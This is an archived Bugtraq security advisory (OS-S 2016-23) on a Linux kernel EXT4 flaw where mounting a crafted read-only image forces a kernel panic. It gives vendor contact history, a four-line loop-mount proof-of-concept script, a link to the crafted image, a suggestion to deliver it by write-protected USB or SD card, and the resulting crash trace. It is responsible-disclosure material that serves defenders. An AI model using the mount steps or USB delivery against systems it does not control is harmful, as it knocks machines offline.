bugtraq - OS-S 2016-23 - Local DoS: Linux Kernel EXT4 Error Handling (EXT4 calling panic())

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 31 Oct 2016 18:30:12 +0100
From: Ralf Spenneberg <info@...t.de>
To: bugtraq@...urityfocus.com
Subject: OS-S 2016-23 - Local DoS: Linux Kernel EXT4 Error Handling (EXT4
 calling panic())

OS-S Security Advisory 2016-23
Local DoS: Linux Kernel EXT4 Error Handling (EXT4 calling panic())

Date:
October 31th, 2016
Authors:
Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE:
Not yet assigned
CVSS:
4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:
Critical
Ease of Exploitation:
Trivial
Vulnerability Type:
Error handling leads to conscious panic() call

Abstract:
Mounting a crafted EXT4 image as read-only leads to a kernel panic.
Since the mounting procedure is a privileged operation, an attacker is
probably not able to trigger this vulnerability on the commandline.
Instead the automatic mounting feature of the GUI via a crafted
USB-device is required.

Detailed product description:
We have verified the bug on the following kernel builds:
 Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
 RedHat Kernel 3.10.0-327.18.2.el7.x86_64

Vendor Communication:
We contacted RedHat on May, 03th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible
disclosure policy.

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1332506

Proof of Concept:
As a proof of concept, we are providing the image that is causing a
panic() call. For demonstration purposes a script to mount this
filesystem is also attached.

Severity and Ease of Exploitation:
The vulnerability can be easily exploited as a Denial-of-Service
remotely by using a USB-device. In this case the attacker must copy this
image (e.g. using dd) to a device or storage such as a SD-card which can
be set to read-only mode (using the write-protection switch).

Mount-Script:
cp ext4_fs_file /tmp/
mkdir /tmp/a
sudo losetup /dev/loop0 /tmp/ext4_fs_file
sudo mount -o ro /dev/loop0 /tmp/a

Malicious EXT4-Image (BASE64 Encoded):
https://os-s.net/advisories/OSS-2016-23-image


dmesg-Report:
/ # ./mount.sh
[   11.269750] EXT4-fs (loop0): Unrecognized mount option "" or missing
value
[   11.278081] EXT4-fs (loop0): failed to parse options in superblock:
[   11.286825] EXT4-fs: Warning: mounting with data=journal disables
delayed allocation and O_DIRECT support!
[   11.295852] EXT4-fs warning (device loop0): ext4_fill_super:3568:
fragment/cluster size (0) != block size (1024)
[   11.304393] EXT4-fs (loop0): ext4_check_descriptors: Checksum for
group 0 failed (58173!=0)
[   11.317625] EXT4-fs (loop0): revision level too high, forcing
read-only mode
[   11.327470] EXT4-fs (loop0): orphan cleanup on readonly fs
[   11.332096] EXT4-fs error (device loop0): ext4_get_group_desc:288:
comm mounter: block_group >= groups_count - block_group = 1023983,
groups_count = 1
[   11.353372] Kernel panic - not syncing: EXT4-fs (device loop0): panic
forced after error
[   11.353372]
[   11.361499] CPU: 0 PID: 143 Comm: mounter Tainted: G           OE
4.6.0-rc6 #5
[   11.369343] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   11.378184]  ffff88002155d710 ffff88002103f6f8 ffffffff819fdf81
ffffffffc019e240
[   11.384350]  ffff88002103f7d0 ffff88002103f7c0 ffffffff814643fc
0000000041b58ab3
[   11.390465]  ffffffff82f1fcbb ffffffff81464272 0000000000000000
ffff880000000010
[   11.396134] Call Trace:
[   11.398812]  [<ffffffff819fdf81>] dump_stack+0x63/0x82
[   11.410022]  [<ffffffff814643fc>] panic+0x18a/0x2ef
[   11.415285]  [<ffffffff81464272>] ? set_ti_thread_flag+0xf/0xf
[   11.422216]  [<ffffffff8166d48c>] ? __sync_dirty_buffer+0x14c/0x1a0
[   11.427425]  [<ffffffffc0104e78>]
ext4_handle_error.part.190+0x298/0x2e0 [ext4]
[   11.433536]  [<ffffffffc0104fc6>] __ext4_error+0x106/0x1b0 [ext4]
[   11.438436]  [<ffffffffc0104ec0>] ?
ext4_handle_error.part.190+0x2e0/0x2e0 [ext4]
[   11.444580]  [<ffffffff8125f36a>] ? vprintk_default+0x5a/0x90
[   11.449308]  [<ffffffff81570fb6>] ? kasan_unpoison_shadow+0x36/0x50
[   11.459341]  [<ffffffff81464823>] ? power_down+0xc4/0xc4
[   11.463704]  [<ffffffff8170752b>] ? proc_alloc_inum+0x8b/0x170
[   11.468337]  [<ffffffff817074a0>] ? __proc_create+0x5a0/0x5a0
[   11.476158]  [<ffffffffc0069cb6>] ext4_get_group_desc+0x1f6/0x2e0 [ext4]
[   11.481386]  [<ffffffffc0103d0c>] ? __ext4_msg+0x13c/0x150 [ext4]
[   11.486315]  [<ffffffffc0077a33>] ext4_read_inode_bitmap+0x23/0x14c0
[ext4]
[   11.491811]  [<ffffffffc007d76f>] ext4_orphan_get+0xff/0x4e0 [ext4]
[   11.501660]  [<ffffffffc0191ffd>] ? ext4_register_sysfs+0x1ad/0x290
[ext4]
[   11.507700]  [<ffffffffc010c9ef>] ?
ext4_register_li_request+0xdf/0x740 [ext4]
[   11.515257]  [<ffffffffc01181e6>] ext4_fill_super+0x8936/0x9ab0 [ext4]
[   11.521387]  [<ffffffffc010f8b0>] ?
ext4_calculate_overhead+0xd00/0xd00 [ext4]
[   11.532063]  [<ffffffff81a29000>] ? pointer+0xa70/0xa70
[   11.541636]  [<ffffffff8157102e>] ? kasan_kmalloc+0x5e/0x70
[   11.546815]  [<ffffffff8156d04b>] ? __kmalloc+0xeb/0x230
[   11.551595]  [<ffffffff814a3604>] ? register_shrinker+0x84/0x1e0
[   11.558138]  [<ffffffff81a2ad28>] ? snprintf+0x88/0xa0
[   11.562158]  [<ffffffff81a2aca0>] ? vsprintf+0x20/0x20
[   11.566260]  [<ffffffff815c8cf0>] ? ns_test_super+0x60/0x60
[   11.570504]  [<ffffffff815cb8a5>] mount_bdev+0x275/0x320
[   11.574572]  [<ffffffffc010f8b0>] ?
ext4_calculate_overhead+0xd00/0xd00 [ext4]
[   11.586625]  [<ffffffffc00cd5e5>] ext4_mount+0x15/0x20 [ext4]
[   11.591910]  [<ffffffff815cce31>] mount_fs+0x81/0x2c0
[   11.597510]  [<ffffffff8161ef5b>] vfs_kern_mount+0x6b/0x330
[   11.604139]  [<ffffffff81626c28>] do_mount+0x428/0x28b0
[   11.608389]  [<ffffffff814c553e>] ? strndup_user+0x4e/0xc0
[   11.612704]  [<ffffffff81626800>] ? copy_mount_string+0x20/0x20
[   11.623559]  [<ffffffff8157102e>] ? kasan_kmalloc+0x5e/0x70
[   11.629014]  [<ffffffff81571352>] ? kasan_slab_alloc+0x12/0x20
[   11.636190]  [<ffffffff815702cf>] ? __kmalloc_track_caller+0xbf/0x210
[   11.641408]  [<ffffffff814c553e>] ? strndup_user+0x4e/0xc0
[   11.645754]  [<ffffffff814c5422>] ? memdup_user+0x42/0x70
[   11.650056]  [<ffffffff81629c45>] SyS_mount+0x95/0xe0
[   11.653852]  [<ffffffff82869a36>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[   11.666389] Kernel Offset: disabled
[   11.670125] Rebooting in 1 seconds..

-- 
OpenSource Training Ralf Spenneberg     http://www.os-t.de
Am Bahnhof 3-5                          48565 Steinfurt         Germany
Fon: +49(0)2552 638 755                 Fax: +49(0)2552 638 757